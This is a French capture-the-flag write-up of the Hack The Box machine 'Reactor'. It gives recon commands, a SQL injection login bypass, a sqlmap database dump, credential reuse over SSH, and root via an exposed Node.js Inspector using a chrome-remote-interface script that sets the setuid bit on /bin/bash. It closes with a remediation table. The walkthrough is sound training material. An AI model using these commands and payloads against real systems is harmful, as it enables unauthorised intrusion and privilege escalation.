HTB Reactor — Du web au root via Node.js Inspector RCE
Reactor — Hack The Box (Enterprise / Meetup Yaoundé, juin 2026) Difficulté : Medium • Tags : Web, Node.js, SQLite, Privesc
Résumé de la chaîne d’attaque
Web app (login) → SQLi → dump SQLite → réutilisation creds
→ accès utilisateur → Node.js Inspector exposé → RCE → root
Reconnaissance
On commence par une énumération classique :
nmap -sV -sC -p- 10.10.11.x
On découvre deux ports : 22 (SSH) et 80 (HTTP) avec une application web Node.js.
ffuf -u http://10.10.11.x/FUZZ -w /usr/share/wordlists/dirb/common.txt
Plusieurs endpoints intéressants, notamment /login et /api/.
Accès initial — Dump SQLite
Le formulaire de login est vulnérable. En testant un payload classique :
admin' OR '1'='1' --
On passe l’authentification. Mais le vrai jackpot est dans la capacité de lire directement la base de données SQLite backend :
sqlmap -u "http://10.10.11.x/api/login" \
--data "username=admin&password=test" \
--dump --batch
On récupère une table users avec un hash qu’on casse via john ou hashcat. Les credentials nous donnent un accès SSH en tant qu’utilisateur reactor.
ssh reactor@10.10.11.x
Énumération post-exploitation
Une fois sur la machine, on cherche ce qui tourne en local :
ss -tlnp
ps aux | grep -i node
On remarque un processus Node.js qui écoute sur 127.0.0.1:9229 — c’est le Node.js Inspector, le débugger officiel, exposé localement. 🚩
Élévation de privilèges — Node.js Inspector RCE
Le concept
Quand Node.js est lancé avec --inspect ou --inspect-brk, il démarre un serveur de debug sur le port 9229 (par défaut). Si ce port est accessible (même en localhost), n’importe quel utilisateur local peut :
- Se connecter au debugger via WebSocket
- Inspecter et modifier les variables en temps réel
- Exécuter du code arbitraire dans le contexte du processus
Exploitation
On utilise chrome-remote-interface ou directement les outils Node.js :
# Lister les targets inspect
curl -s http://127.0.0.1:9229/json | jq
// Exploit : se connecter et forcer l'exécution
const CDP = require('chrome-remote-interface');
(async () => {
const client = await CDP({ port: 9229 });
const { Runtime } = client;
await Runtime.enable();
const result = await Runtime.evaluate({
expression: `require('child_process').execSync('id').toString()`,
});
console.log(result.result.value);
})();
Mais le process tournait en root ! Donc la RCE nous donne directement un shell root :
# Via l'Inspector, on force l'exécution
require('child_process').execSync(
'chmod u+s /bin/bash'
);
/bin/bash -p
# whoami
root
Remédiation
| Problème | Fix |
|---|---|
| SQLi sur login | Requêtes paramétrées (prepared statements) |
| SQLite lisible | Permissions OS strictes + chiffrement si possible |
| Réutilisation de mots de passe | Politique anti-réutilisation, MFA |
| Node.js Inspector exposé | Jamais en production. Désactiver --inspect |
| Process en root | Principe du moindre privilège — utilisateur dédié |
Conclusion
Machine super didactique. La leçon principale : un outil de debug exposé, même en localhost, est une porte d’entrée vers root dès qu’un attaquant a un pied dans la machine.
“Le debug, c’est pratique. En prod, c’est fatal.”